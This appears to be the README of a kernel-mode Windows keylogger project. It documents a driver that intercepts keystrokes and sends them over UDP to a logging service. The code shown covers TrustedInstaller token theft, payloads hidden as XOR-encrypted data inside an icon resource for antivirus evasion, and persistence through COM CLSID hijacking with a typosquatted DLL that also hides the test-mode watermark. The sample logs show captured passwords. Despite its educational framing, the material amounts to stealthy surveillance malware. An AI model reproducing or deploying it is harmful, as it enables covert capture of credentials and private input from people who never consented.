This project demonstrates the use of a custom keyboard driver operating in kernel mode with a built-in UDP protocol under 30 kB. After successful installation, verify operation with:
UdpLogger statusExpected Output (Fully Operational):
=== UDP Keyboard Logger - Full System Status ===
[+] Windows Service: RUNNING (UdpKeyboardLogger)
[+] Kernel Driver: LOADED (kvckbd.sys)
[+] CLSID Hijack: ACTIVE (ExplorerFrame.dll -> ExpIorerFrame.dll)
[+] Test Signing: ENABLED (BCD)
[+] Files: All components present
Overall Status: FULLY OPERATIONAL
- Project Overview
- Architecture Overview
- Component 1: kvckbd.sys - Kernel Driver
- Component 2: ExplorerFrame.dll - Persistence Layer
- Component 3: UdpLogger.exe - Management Hub
- BCD Deep Dive
- Driver Service Registration
- Installation & Usage
- Technical Details & Internals
- Security Considerations
- Build & Development
- Troubleshooting
- Legal & Educational Notice
This comprehensive educational project represents one of the few fully functional IRP-based keyboard filter drivers developed in recent years, specifically compiled and tested for Windows 11 25H2 that successfully combines kernel-mode interception, network communication, sophisticated privilege escalation, and persistent installation mechanisms. The project serves as a practical reference for understanding modern Windows protection mechanisms and kernel programming techniques.
This system is designed for:
- Security researchers studying Windows defense mechanisms and attack vectors
- Kernel developers learning IRP-based filter drivers and Windows Driver Model (WDM)
- System programmers understanding Windows internals, BCD manipulation, and privilege escalation
- Red team operators researching persistence techniques in authorized penetration testing environments
- Disable Secure Boot in BIOS/UEFI settings
- Administrator privileges required
- Windows 10/11 x64 systems only
- Authorized, controlled testing environment
Alternative approach: use the companion KVC tool β a separate project that can load an unsigned kernel driver without reboot in any protection mode (including Secure Boot). Note: the user must update the KVC source (including the offset map in OffsetFinder.cpp) before use.
| Component | Type | Privilege Level | Primary Function |
|---|---|---|---|
| kvckbd.sys | Kernel Filter Driver | Ring 0 | IRP-level keyboard interception, scan code processing, WSK networking |
| ExplorerFrame.dll | COM In-Process Server | Ring 3 (User) | CLSID hijacking for persistence, API hooking for watermark removal |
| UdpLogger.exe | Service Manager | Ring 3 (TI/Admin) | Installation orchestration, UDP logging, system status monitoring |
The system implements a multi-layer interception and processing pipeline:
Keyboard Hardware
β
i8042prt.sys / USB HID Driver (Port Driver)
β
kbdclass.sys (Windows Keyboard Class Driver)
β [IRP_MJ_READ Interception Point]
kvckbd.sys (Filter Driver - Ring 0)
ββ Scan Code Translation
ββ State Machine Processing
ββ Line Buffering (512 bytes)
ββ WSK UDP Transmission
β
127.0.0.1:31415 (Localhost UDP Socket)
β
UdpLogger.exe Windows Service (Ring 3)
ββ Non-blocking UDP Listener
ββ Daily Log Rotation
ββ Timestamped File Output
β
keyboard_log_YYYY-MM-DD.txt
The three components operate independently yet cooperatively:
Kernel Space (Ring 0):
- kvckbd.sys operates as a transparent filter between applications and the keyboard hardware
- Intercepts IRP_MJ_READ requests destined for kbdclass.sys
- Processes keyboard input asynchronously using system threads
- Transmits processed keystrokes via kernel-mode UDP (WSK)
User Space (Ring 3):
- UdpLogger.exe runs as a Windows Service (UdpKeyboardLogger)
- Listens on UDP port 31415 for incoming keystroke data
- Implements daily log rotation with automatic header/footer generation
- Provides comprehensive CLI for system management and status monitoring
Persistence Layer:
- ExplorerFrame.dll (misspelled as ExpIorerFrame.dll) hijacks legitimate COM CLSID
- Loads automatically when explorer.exe initializes shell components
- Hooks API functions to remove "Test Mode" watermark
- Ensures stealth operation by patching import tables
[User Executes: UdpLogger install]
β
ββββββββββββββββββββββββββββββββββββ
β Secure Boot Detection Phase β
β β’ Check UEFI registry key β
β β’ Block if Secure Boot enabled β
β β’ Display BIOS disable guide β
ββββββββββββββββββββββββββββββββββββ
β
ββββββββββββββββββββββββββββββββββββ
β Resource Extraction Phase β
β β’ Skip icon data (1662 bytes) β
β β’ XOR-decrypt CAB archive β
β β’ FDI in-memory decompression β
β β’ Extract kvc.bin β
β β’ Parse PE binaries (MZ search) β
β β’ Identify by subsystem field β
ββββββββββββββββββββββββββββββββββββ
β
ββββββββββββββββββββββββββββββββββββ
β Privilege Escalation Phase β
β β’ Acquire SYSTEM token β
β β’ Start TrustedInstaller β
β β’ Duplicate TI token β
β β’ Enable all privileges β
ββββββββββββββββββββββββββββββββββββ
β
ββββββββββββββββββββββββββββββββββββ
β File Deployment Phase β
β β’ Write to System32 β
β β’ Write to DriverStore β
β β’ Direct API (no cmd.exe) β
ββββββββββββββββββββββββββββββββββββ
β
ββββββββββββββββββββββββββββββββββββ
β Registry Configuration Phase β
β β’ CLSID hijack registration β
β β’ BCD test signing enable β
β β’ Driver service creation β
ββββββββββββββββββββββββββββββββββββ
β
ββββββββββββββββββββββββββββββββββββ
β Service Installation Phase β
β β’ Create Windows service β
β β’ Configure auto-start β
β β’ Start service immediately β
ββββββββββββββββββββββββββββββββββββ
β
[System Reboot Required]
β
[kvckbd.sys loads at boot]
β
[System Fully Operational]
Pre-Installation Check (SystemStatus.cpp:91-104)
Before any installation steps, the system checks if Secure Boot is enabled:
HKEY hKey;
DWORD secureBootEnabled = 0;
RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\Control\\SecureBoot\\State",
0, KEY_READ, &hKey);
RegQueryValueExW(hKey, L"UEFISecureBootEnabled", nullptr, nullptr,
(LPBYTE)&secureBootEnabled, &dataSize);
return secureBootEnabled == 1; // TRUE = Secure Boot ON β BLOCKInstallation Blocking (UdpLogger.cpp:216-234)
If Secure Boot is detected, installation terminates immediately with error message:
[ERROR] SECURE BOOT IS ENABLED - INSTALLATION BLOCKED
+============================================================+
| SECURE BOOT DETECTED |
+============================================================+
| Secure Boot is enabled in UEFI/BIOS settings. |
| This prevents loading unsigned kernel drivers. |
| |
| REQUIRED ACTION: |
| 1. Enter UEFI/BIOS settings during boot |
| 2. Disable Secure Boot |
| 3. Save changes and reboot |
| 4. Run installation again |
+============================================================+
Why This Matters:
- kvckbd.sys is test-signed, not WHQL/Microsoft-signed
- Secure Boot enforces Microsoft's driver signature policy
- Installation would complete but driver would fail to load
- Pre-check prevents wasted time and provides clear guidance
The kernel driver is the cornerstone of this system, operating at Ring 0 with full kernel privileges. It implements a sophisticated IRP filter mechanism that intercepts keyboard input at the Windows Driver Model (WDM) level, specifically targeting the kbdclass.sys class driver.
Filter Driver Philosophy: Rather than implementing a complete keyboard driver stack, kvckbd.sys adopts the filter driver pattern. It positions itself between user-mode applications and the legitimate Windows keyboard driver, allowing it to observe and process all keyboard input without replacing core system functionality.
Key Innovation - Modern IRP-Based Implementation β Tested on Windows 11 25H2: This driver represents a rare working implementation of IRP-based keyboard filtering. Most modern attempts fail due to:
- Incorrect offset calculations for DeviceExtension structures
- Improper synchronization leading to race conditions and BSODs
- Failure to handle IRP cancellation correctly
- Inadequate resource cleanup during driver unload
This project solves all these challenges through careful architecture-specific offset management, proper IRQL-aware synchronization, and comprehensive cancellation handling.
DeviceExtension Offset Technique: The driver directly accesses internal structures of kbdclass.sys by using architecture-specific offsets into the DeviceExtension. This technique is necessary because Microsoft doesn't expose these structures publicly:
| Structure | x86 Offset | x64 Offset | Purpose |
|---|---|---|---|
| IO_REMOVE_LOCK | 0x10 | 0x20 | Prevents device removal during operations |
| KSPIN_LOCK | 0x6C | 0xA0 | Synchronizes access to IRP queue |
| LIST_ENTRY | 0x70 | 0xA8 | Head of pending read IRP queue |
IRP Queue Manipulation: The driver dequeues pending IRPs directly from kbdclass.sys's internal queue, processes them, then forwards them to the original handler. This requires:
- Acquiring the keyboard device's spinlock (at DISPATCH_LEVEL)
- Removing IRP from linked list
- Clearing cancel routines safely
- Handling race conditions with IRP cancellation
Thread-Based Processing: Each intercepted IRP spawns a dedicated system thread. This design:
- Prevents blocking at high IRQL
- Allows synchronous waiting for lower driver completion
- Enables proper context for WSK network operations
- Simplifies error handling and resource cleanup
Multi-Table Translation System: The driver implements an efficient scan code translation engine using multiple lookup tables:
- Base Table (84 entries): Maps scan codes 0x00-0x53 to lowercase characters
- Shift Modifiers (10 entries): Translates digits under Shift (1β!, 2β@, etc.)
- Special Characters: Handles punctuation marks with Shift variations
- Extended Codes (18 entries): E0-prefixed scan codes (arrows, Right Ctrl/Alt, etc.)
- International Support: Polish diacritics via AltGr combinations (Δ , Δ, Δ, Ε, Ε, Γ³, Ε, ΓΊ, ΕΌ)
State Machine Implementation: The driver maintains keyboard state flags (Shift, CapsLock, NumLock) and implements XOR logic for proper character output. For letters:
- Shift + CapsLock OFF = Uppercase
- Shift OFF + CapsLock = Uppercase
- Shift + CapsLock = Lowercase (XOR behavior)
Performance Optimization: Instead of storing all combinations (84 Γ 4 = 336 entries), the driver computes variations at runtime, reducing memory footprint to ~1KB for all translation tables while maintaining O(1) lookup complexity.
Design Rationale: Traditional keystroke loggers send one network packet per key press, generating excessive traffic. This driver implements line-based buffering:
- Accumulates keystrokes in a 512-byte buffer
- Filters out modifier keys ([Shift], [Ctrl], [Alt])
- Filters out function keys (F1-F12)
- Transmits complete lines only when Enter is pressed
Performance Impact:
- Before: 1000 keystrokes/minute = 1000 UDP packets
- After: 1000 keystrokes/minute β 10-20 UDP packets (typical typing patterns)
- Network overhead reduction: 95-98%
Synchronization: The buffer uses KSPIN_LOCK for protection since it's accessed at DISPATCH_LEVEL. Spinlocks are mandatory here (mutexes would cause BSOD at DISPATCH_LEVEL).
Kernel-Mode Networking: The driver uses Winsock Kernel (WSK) for UDP communication. WSK advantages:
- No context switching to user mode
- Direct access to network stack
- Operation at IRQL β€ DISPATCH_LEVEL
- Suitable for driver-to-driver or driver-to-service communication
Initialization Process:
- Start WSK subsystem (WSKStartup)
- Resolve target address via WSKGetAddrInfo (supports both IPv4/IPv6)
- Create datagram socket (WSKSocket with SOCK_DGRAM)
- Configure default destination via SIO_WSK_SET_SENDTO_ADDRESS ioctl
UDP Transmission: Calls WSKSendTo with pre-configured socket. No need to specify destination address on each call since SIO_WSK_SET_SENDTO_ADDRESS sets a default target.
Initialization Thread: A persistent system thread (KbdThread_IrpHookInit) runs continuously:
- Enumerates keyboard device objects every 100ms
- Detects newly plugged keyboards (hot-plug support)
- Hooks device objects by modifying FileObject->DeviceObject pointers
- Maintains list of hooked keyboard objects
Clean Unload Process: Unloading a filter driver is notoriously difficult. This driver implements:
- Signal shutdown: Set IsUnloading flag
- Unhook devices: Restore original DeviceObject pointers
- Wait for safety: Poll SafeUnload flag on each keyboard object
- Flush buffers: Send any remaining buffered keystrokes
- Release resources: Close sockets, delete resources, free pool memory
- Delete device: Remove filter device object
Critical Safety Mechanism: The SafeUnload flag prevents premature unload while IRPs are still processing. Each keyboard object tracks whether it's safe to cleanup, preventing BSOD during unload.
This COM in-process server achieves two objectives: persistence through CLSID hijacking and stealth through API hooking to remove test mode watermarks. It demonstrates advanced techniques for DLL injection and import table manipulation.
Target CLSID:
{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}
Mechanism: When Windows Explorer (explorer.exe) starts, it loads numerous COM components. By hijacking the InProcServer32 registry value for a specific CLSID, we can inject our DLL into Explorer's address space automatically at every system boot.
Registry Manipulation:
- Original:
HKCR\CLSID\{...}\InProcServer32 = %SystemRoot%\system32\ExplorerFrame.dll - Hijacked:
HKCR\CLSID\{...}\InProcServer32 = %SystemRoot%\system32\ExpIorerFrame.dll
Stealth Through Typosquatting: The filename uses visual similarity:
ExplorerFrame.dll(legitimate, uses lowercase 'l')ExpIorerFrame.dll(malicious, uses uppercase 'I')
In many fonts, 'l' and 'I' are nearly indistinguishable, making casual file listing appear normal.
Persistence Characteristics:
- Survives system reboots
- Loads automatically with Explorer
- No additional scheduled tasks or startup entries
- Difficult to detect without registry inspection
- Survives user logout/login
Objective: Remove "Test Mode" watermark displayed by Windows when test signing is enabled. The watermark is rendered by shell32.dll using LoadStringW and ExtTextOutW API calls.
Hooking Technique: The DLL implements IAT patching to redirect API calls:
- Locate IAT: Parse PE headers of shell32.dll in memory
- Find import entries: Scan import directory for LoadStringW and ExtTextOutW
- Modify function pointers: Replace original addresses with proxy functions
- VirtualProtect: Temporarily disable page protection to write
Proxy Functions:
- Proxy_LoadString: Returns 0 (empty string) for string IDs 62000/62001 (test mode strings)
- Proxy_ExtTextOut: Filters out watermark text before calling original ExtTextOutW
String Detection: The DLL maintains a list of watermark strings:
- "Windows [Edition]"
- "Build [Number]"
- Test Mode indicators
If detected in text output calls, the function returns success without actually drawing.
Initialization Timing: Hooking occurs in DllMain during DLL_PROCESS_ATTACH, ensuring it activates before Explorer renders any UI elements.
Design Philosophy: The DLL is built with aggressive size optimization:
- No C Runtime Library (CRT)
- Custom memory allocation using HeapAlloc
- Custom string functions (min_memcpy, min_memset, min_memcmp)
- Direct Windows API calls only
- Custom new/delete operators
Binary Size: Through these optimizations, the compiled DLL is extremely small (~7 KB), making it less suspicious and easier to hide.
Function Forwarding: The DLL exports two functions that forward to the legitimate explorerframe.dll:
DllGetClassObject β explorerframe.DllGetClassObject
DllCanUnloadNow β explorerframe.DllCanUnloadNow
This ensures COM functionality remains intact while injection occurs transparently.
UdpLogger.exe is the orchestration center of the entire system. It serves four critical roles:
- Installer - Deploys and configures all components with TrustedInstaller privileges
- Service - Runs as Windows Service to receive and log UDP keystroke data
- Manager - Provides CLI for controlling driver and service states
- Monitor - Comprehensive system status checking and diagnostics
This component demonstrates advanced Windows service programming, privilege escalation techniques, and secure resource embedding.
The tool provides a comprehensive CLI for all management operations:
UdpLogger install # Full installation with reboot prompt
UdpLogger install --reboot # Install and reboot automatically
UdpLogger uninstall # Complete removal (reboot recommended)
UdpLogger status # System-wide component status check
UdpLogger service start # Start Windows service
UdpLogger service stop # Stop Windows service
UdpLogger service restart # Restart Windows service
UdpLogger service status # Query service state
UdpLogger driver start # Load kernel driver
UdpLogger driver stop # Unload kernel driver
UdpLogger driver restart # Restart driver
UdpLogger driver status # Query driver stateWhy TrustedInstaller? Windows protects critical system files and registry keys using TrustedInstaller ownership. Standard Administrator privileges cannot:
- Write to %SystemRoot%\System32 (virtualized)
- Modify HKLM\BCD00000000 registry hive
- Write to DriverStore directories
- Modify certain CLSIDs in HKCR
Escalation Chain:
Current Process (Administrator)
β [Enable SeDebugPrivilege]
OpenProcess(winlogon.exe)
β [OpenProcessToken]
Acquire SYSTEM Token
β [DuplicateTokenEx]
Impersonate SYSTEM
β [StartService("TrustedInstaller")]
TrustedInstaller Service Running
β [OpenProcess(TrustedInstaller.exe)]
Acquire TrustedInstaller Token
β [DuplicateTokenEx]
TrustedInstaller Impersonation Token
β [ImpersonateLoggedOnUser]
Execute Operations with TI Privileges
β
[RevertToSelf]
Key Techniques:
-
SYSTEM Acquisition:
- Locates winlogon.exe process (always runs as SYSTEM)
- Opens process with PROCESS_QUERY_INFORMATION
- Duplicates token with SecurityImpersonation level
-
TrustedInstaller Service:
- Service name: "TrustedInstaller"
- Start type: Manual (must be started explicitly)
- Monitors service state until SERVICE_RUNNING
- Acquires process token once running
-
Privilege Enablement:
- Enables all 8 critical privileges on token:
- SeDebugPrivilege - Debug any process
- SeImpersonatePrivilege - Impersonate tokens
- SeAssignPrimaryTokenPrivilege - Assign tokens to processes
- SeTcbPrivilege - Trusted Computer Base
- SeBackupPrivilege - Backup files
- SeRestorePrivilege - Restore files
- SeTakeOwnershipPrivilege - Take ownership of objects
- SeSecurityPrivilege - Manage audit/security logs
- Enables all 8 critical privileges on token:
-
Impersonation Context:
- All file/registry operations occur within ImpersonateLoggedOnUser context
- Operations use impersonated credentials automatically
- RevertToSelf() called after each operation batch
Embedding Method:
The final UdpLogger.exe embeds both kvckbd.sys and ExpIorerFrame.dll using steganography with CAB compression, achieving exceptional size efficiency (~18 KB total).
Structure:
IDR_MAINICON Resource (RT_RCDATA) - Total: ~18 KB
βββ [0x0000 - 0x067E] Valid ICO file (1,662 bytes) - Visual mask
βββ [0x067E - EOF] XOR-Encrypted CAB Archive
βββ XOR Key: 0xA0 0xE2 0x80 0x8B 0xE2 0x80 0x8C
βββ CAB Contents: kvc.bin (concatenated PE files)
βββ kvckbd.sys (Kernel driver - subsystem 1)
βββ ExpIorerFrame.dll (Usermode library - subsystem 2)
Encryption:
Files are XOR-encrypted with a 7-byte key before CAB compression:
static constexpr std::array<BYTE, 7> XOR_KEY = {
0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C
};
void XorDecrypt(BYTE* data, size_t size) noexcept {
for (size_t i = 0; i < size; ++i) {
data[i] ^= XOR_KEY[i % XOR_KEY.size()];
}
}Extraction Process (ResourceExtractor.cpp):
Stage 1: Resource Loading (Lines 269-283)
// Load embedded resource from executable
HRSRC hRes = FindResourceW(hInstance, MAKEINTRESOURCEW(IDR_MAINICON), RT_RCDATA);
HGLOBAL hResData = LoadResource(hInstance, hRes);
DWORD resSize = SizeofResource(hInstance, hRes);
const BYTE* resData = static_cast<const BYTE*>(LockResource(hResData));Stage 2: Icon Skipping (Lines 285-292)
// Skip ICO header and image data (first 1662 bytes)
const size_t ICON_SIZE = 1662;
std::vector<BYTE> encryptedCab(resData + ICON_SIZE, resData + resSize);Stage 3: XOR Decryption (Lines 294-295)
// Decrypt CAB archive in memory
XorDecrypt(encryptedCab.data(), encryptedCab.size());
// Expected signature after decrypt: 4D 53 43 46 (MSCF - CAB magic)Stage 4: In-Memory CAB Decompression (Lines 123-183)
Uses Windows FDI (File Decompression Interface) API with custom callbacks:
// Setup memory-based CAB extraction
MemoryReadContext ctx = { cabData, cabSize, 0 };
HFDI hfdi = FDICreate(fdi_alloc, fdi_free, fdi_open, fdi_read,
fdi_write, fdi_close, fdi_seek, cpuUNKNOWN, &erf);
// Extract files from CAB (no temp files - all in memory)
FDICopy(hfdi, "memory.cab", "", 0, fdi_notify, nullptr, &files);Key implementation details:
fdi_open: Returns pointer to memory context (not file handle)fdi_read: Reads from memory buffer instead of diskfdi_write: Writes to in-memory vector (no filesystem I/O)fdi_seek: Adjusts memory offset pointer- No temporary files created - entire operation in RAM
Stage 5: PE Binary Separation (Lines 188-242)
The extracted kvc.bin contains two concatenated PE files. Parser identifies them by:
// Find all PE signatures (MZ = 0x4D 0x5A)
std::vector<size_t> peOffsets;
for (size_t i = 0; i < kvcData.size() - 1; i++) {
if (kvcData[i] == 0x4D && kvcData[i + 1] == 0x5A) {
peOffsets.push_back(i);
}
}
// Identify file type by PE Optional Header subsystem field
DWORD peOffset = *reinterpret_cast<const DWORD*>(&file.data[0x3C]);
WORD subsystem = *reinterpret_cast<const WORD*>(&file.data[peOffset + 0x5C]);
// IMAGE_SUBSYSTEM_NATIVE (1) = Kernel driver β kvckbd.sys
// IMAGE_SUBSYSTEM_WINDOWS_GUI (2) = DLL β ExpIorerFrame.dll
if (subsystem == 1) {
file.filename = L"kvckbd.sys";
} else {
file.filename = L"ExpIorerFrame.dll";
}Advantages:
- Size Efficiency: ~18 KB total resource (icon + compressed binaries)
- Stealth: Hidden in legitimate icon resource (RT_RCDATA type)
- Memory-only: No temporary files during extraction process
- Obfuscation: XOR encryption + CAB compression prevents static analysis
- Single Executable: All components embedded in installer
- AV Evasion: Scanners often skip icon resources or struggle with multi-layer encoding
Detection Resistance:
- First 1662 bytes are valid ICO data - appears as normal icon
- Remaining data looks like random noise until XOR-decrypted
- CAB signature only visible after decryption
- PE files only accessible after CAB extraction
- No external dependencies or suspicious file downloads
The installation process requires TrustedInstaller privileges to deploy files to protected system locations. The system uses sophisticated token impersonation instead of traditional privilege escalation methods (takeown/icacls), achieving direct API-level operations without spawning external processes.
Token Escalation Chain:
Current Process (Administrator)
β [OpenProcessToken β DuplicateTokenEx]
SYSTEM Token (via winlogon.exe process)
β [ImpersonateLoggedOnUser β StartService]
TrustedInstaller Service Token
β [Direct Win32 API with impersonation]
Protected System Resources (System32, DriverStore, Registry)
Implementation Details (TrustedInstallerExecutor.cpp):
Phase 1: SYSTEM Token Acquisition (Lines 258-275)
// Locate winlogon.exe (always runs as NT AUTHORITY\SYSTEM)
auto winlogonPid = GetProcessIdByName(L"winlogon.exe");
HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, *winlogonPid);
// Duplicate its token for impersonation
HANDLE token;
OpenProcessToken(process, TOKEN_DUPLICATE | TOKEN_QUERY, &token);
DuplicateTokenEx(token, MAXIMUM_ALLOWED, nullptr,
SecurityImpersonation, TokenImpersonation, &systemToken);Phase 2: TrustedInstaller Service Activation (Lines 277-321)
// Impersonate SYSTEM to gain service start permissions
ImpersonateLoggedOnUser(systemToken);
// Start TrustedInstaller Windows service
SC_HANDLE scManager = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
SC_HANDLE service = OpenServiceW(scManager, L"TrustedInstaller",
SERVICE_QUERY_STATUS | SERVICE_START);
StartServiceW(service, 0, nullptr);
// Wait for SERVICE_RUNNING state (with timeout)
SERVICE_STATUS_PROCESS status;
while (QueryServiceStatusEx(service, SC_STATUS_PROCESS_INFO, &status, ...)) {
if (status.dwCurrentState == SERVICE_RUNNING) {
trustedInstallerPid = status.dwProcessId;
break;
}
Sleep(status.dwWaitHint ? status.dwWaitHint : 100);
}Phase 3: Token Extraction & Duplication (Lines 323-337)
// Open TrustedInstaller process handle
HANDLE tiProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, trustedInstallerPid);
// Steal its token
HANDLE tiToken;
OpenProcessToken(tiProcess, TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, &tiToken);
DuplicateTokenEx(tiToken, MAXIMUM_ALLOWED, nullptr,
SecurityImpersonation, TokenImpersonation, &finalToken);
// Revert SYSTEM impersonation
RevertToSelf();Phase 4: Privilege Enablement (Lines 155-177)
// Enable all required privileges on TrustedInstaller token
const std::array<std::wstring_view, 8> REQUIRED_PRIVILEGES = {
L"SeDebugPrivilege", // Debug processes
L"SeImpersonatePrivilege", // Impersonate tokens
L"SeAssignPrimaryTokenPrivilege", // Assign primary token
L"SeTcbPrivilege", // Trusted computer base
L"SeBackupPrivilege", // Backup files/registry
L"SeRestorePrivilege", // Restore files/registry
L"SeTakeOwnershipPrivilege", // Take ownership of objects
L"SeSecurityPrivilege" // Manage auditing/security log
};
for (auto privilege : REQUIRED_PRIVILEGES) {
LUID luid;
LookupPrivilegeValueW(nullptr, privilege, &luid);
TOKEN_PRIVILEGES tp{};
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(token, FALSE, &tp, sizeof(tp), nullptr, nullptr);
}Direct Operations (No External Processes):
File Operations (Lines 443-497)
bool WriteFileAsTrustedInstaller(const std::wstring& path,
const std::vector<BYTE>& data) {
// Impersonate TrustedInstaller token
ImpersonateLoggedOnUser(tiToken.get());
// Create/write file directly via Win32 API
HANDLE hFile = CreateFileW(path.c_str(), GENERIC_WRITE, 0, nullptr,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
DWORD bytesWritten;
WriteFile(hFile, data.data(), data.size(), &bytesWritten, nullptr);
CloseHandle(hFile);
// Revert to original security context
RevertToSelf();
return true;
}Registry Operations (Lines 570-618)
bool WriteRegistryValueAsTrustedInstaller(HKEY hKeyRoot,
const std::wstring& subKey,
const std::wstring& value) {
ImpersonateLoggedOnUser(tiToken.get());
HKEY hKey;
RegOpenKeyExW(hKeyRoot, subKey.c_str(), 0, KEY_WRITE | KEY_WOW64_64KEY, &hKey);
RegSetValueExW(hKey, valueName.c_str(), 0, REG_EXPAND_SZ,
reinterpret_cast<const BYTE*>(value.c_str()), dataSize);
RegCloseKey(hKey);
RevertToSelf();
return true;
}Key Operations Performed:
| Operation Type | Target Location | Purpose |
|---|---|---|
| File Write | %SystemRoot%\System32\ExpIorerFrame.dll |
CLSID hijack DLL deployment |
| File Write | %SystemRoot%\System32\DriverStore\FileRepository\keyboard.inf_amd64_*\kvckbd.sys |
Kernel driver deployment |
| Registry Write | HKCR\CLSID\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\InProcServer32 |
COM hijack registration |
| Registry Write | HKLM\SYSTEM\CurrentControlSet\Services\kvckbd |
Driver service creation |
| Registry Write | HKLM\BCD00000000\Objects\{GUID}\Elements\16000049 |
BCD test signing enable |
| File Delete | Protected system files | Uninstall cleanup |
Advantages Over Traditional Methods:
| Traditional (takeown/icacls) | TrustedInstaller Token Impersonation |
|---|---|
takeown.exe /F file |
Direct Win32 API call |
icacls.exe file /grant |
Single token impersonation |
| 3-5 cmd.exe processes per file | No child processes spawned |
| 5-10 seconds per operation | Milliseconds per operation |
| Visible in Process Explorer | Appears as normal system activity |
| EDR process chain detection | Single-thread operation |
| Console window flashing | Silent API-level execution |
Security Context:
- Not a UAC bypass: Requires administrator privileges to start
- Legitimate mechanism: Uses built-in Windows TrustedInstaller service
- Token borrowing: Not privilege escalation, but privilege impersonation
- Audit trail: Operations logged in Windows Security Event Log (Event IDs: 4688, 4656, 4663)
- Reversible: All operations can be undone via uninstall process
Service Architecture: The program implements a dual-mode design:
- CLI Mode: Direct command execution when run from terminal
- Service Mode: Activated via
UdpLogger --service(called by SCM)
Service Lifecycle:
Service Control Manager (SCM)
β [StartService]
ServiceMain() - Entry Point
β
Register Control Handler
Set Status: SERVICE_START_PENDING
β
Initialize Components:
β’ Create UDP listener (port 31415)
β’ Create FileLogger instance
β’ Set message handler callback
β
Create Worker Thread
Set Status: SERVICE_RUNNING
β
[Wait for stop event]
β [SERVICE_CONTROL_STOP received]
Set Status: SERVICE_STOP_PENDING
Cleanup:
β’ Stop UDP listener
β’ Flush and close log file
β’ Release resources
β
Set Status: SERVICE_STOPPED
Worker Thread: Runs continuously while service is active:
- Monitors inactivity (logs warning after 15 minutes idle)
- Periodic file flush (every 15 minutes)
- Responds to stop events
- No polling overhead (uses event-based signaling)
UDP Listener:
- Non-blocking socket operations
- select() with 1-second timeout for responsiveness
- Handles multiple clients (though only localhost expected)
- Strips carriage returns and newlines
- Filters empty messages
Log File Naming:
keyboard_log_YYYY-MM-DD.txt
Rotation Logic: At midnight, the logger:
- Writes footer to current file (session duration summary)
- Closes file handle
- Opens new file with today's date
- Writes header to new file
Header Format:
################################################################################
### ###
### UDP KEYBOARD LOGGER - KERNEL/USER-MODE BRIDGE ###
### ###
### System: kvckbd.sys driver + ExplorerFrame.dll + UDP service (31415) ###
### Deployment: TrustedInstaller token escalation, BCD test signing, ###
### DriverStore integration, and CLSID hijacking for ###
### persistence. ###
### ###
### Author: Marek Wesolowski | marek@wesolowski.eu.org | +48 607 440 283 ###
### Project: https://github.com/wesmar/udp-keyboard-logger ###
### ###
################################################################################
===============================================================================
Session started: 2025-10-10 14:23:15
Listener: 127.0.0.1:31415
Client: 127.0.0.1:52341
===============================================================================
Entry Format:
[14:23:16] password123[Ent]
[14:23:45] cat /etc/shadow[Ent]
[14:24:12] https://bankaccount.com[Ent]
Footer Format:
===============================================================================
Session ended: 2025-10-10 18:30:45
Total duration: 4 hours 7 minutes 30 seconds
===============================================================================
Log Rotation: New file created automatically at midnight...
Component Verification:
The UdpLogger status command performs comprehensive checks:
-
Windows Service Status:
- Opens SCM (Service Control Manager)
- Queries service state
- Checks if running vs stopped
-
Kernel Driver Status:
- Queries kvckbd service
- Verifies SERVICE_RUNNING state
- Indicates if driver is loaded in kernel
-
CLSID Hijack Verification:
- Reads registry value with TI privileges
- Checks if ExpIorerFrame.dll is registered
- Validates against expected value
-
Test Signing Status:
- Reads BCD element 23000003 for current boot GUID
- Reads element 16000049 under boot GUID
- Checks if binary value = 0x01 (enabled)
-
File Presence Check:
- Verifies System32\ExpIorerFrame.dll exists
- Verifies DriverStore...\kvckbd.sys exists
- Uses GetFileAttributes API
Output Interpretation: Each component displays:
[+]checkmark (passing)[-]checkmark (failing)- Details about current state
- Fix hints for failures
kvckbd Service Control: The tool can start/stop/restart the kernel driver:
// Start driver
SC_HANDLE hService = OpenServiceW(hSCM, L"kvckbd", SERVICE_START);
StartServiceW(hService, 0, nullptr);
// Stop driver
ControlService(hService, SERVICE_CONTROL_STOP, &status);Restart Strategy:
- Stop service (if running)
- Wait 2 seconds (allows cleanup)
- Start service
Status Query: Reads service state and displays:
- RUNNING - Driver loaded in kernel
- STOPPED - Driver not active
What is BCD? Boot Configuration Data (BCD) is a firmware-independent database introduced in Windows Vista to replace boot.ini. It stores boot configuration parameters including:
- Boot manager settings
- Boot loader options
- Operating system entries
- Debug settings
- Test signing configuration
Storage Location:
The BCD is stored as a registry hive at:
%SystemRoot%\Boot\BCD
When mounted, it appears in the registry at:
HKEY_LOCAL_MACHINE\BCD00000000
Hierarchy:
HKLM\BCD00000000
βββ Description (metadata)
βββ Objects
β βββ {bootmgr} = {9dea862c-5cdd-4e70-acc1-f32b344d4795}
β βββ {current} = {actual boot entry GUID}
β βββ {default} = {default boot entry GUID}
β βββ {individual boot entries}
β βββ Elements
β β βββ 11000001 (Device)
β β βββ 12000004 (Description)
β β βββ 16000049 (Testsigning)
β β βββ 23000003 (Current Boot Entry Reference)
β β βββ ... (other elements)
Well-Known GUID:
{9dea862c-5cdd-4e70-acc1-f32b344d4795}
This is the Boot Manager GUID. It's a constant identifier for the Windows Boot Manager object.
BCD elements are identified by 8-digit hexadecimal codes:
| Element | Name | Type | Purpose |
|---|---|---|---|
| 23000003 | CurrentBootEntry | Pointer | GUID - Points to active boot entry |
| 16000049 | TestSigningEnabled | BINARY | Enables test-signed drivers |
| 12000004 | Description | STRING | OS description text |
| 11000001 | Device | BINARY | Boot device information |
| 26000010 | BootDebuggerEnabled | BOOLEAN | Kernel debugger status |
Purpose: This element contains the GUID of the currently active boot configuration. When Windows boots, the boot manager uses this to determine which OS entry to load.
Data Format:
- Type: REG_BINARY
- Length: Variable (typically contains GUID)
- Value: {GUID of current boot entry}
Usage in This Project: The installer must dynamically determine which boot entry is current because:
- Multiple OS installations may exist
- Boot GUIDs are unique per installation
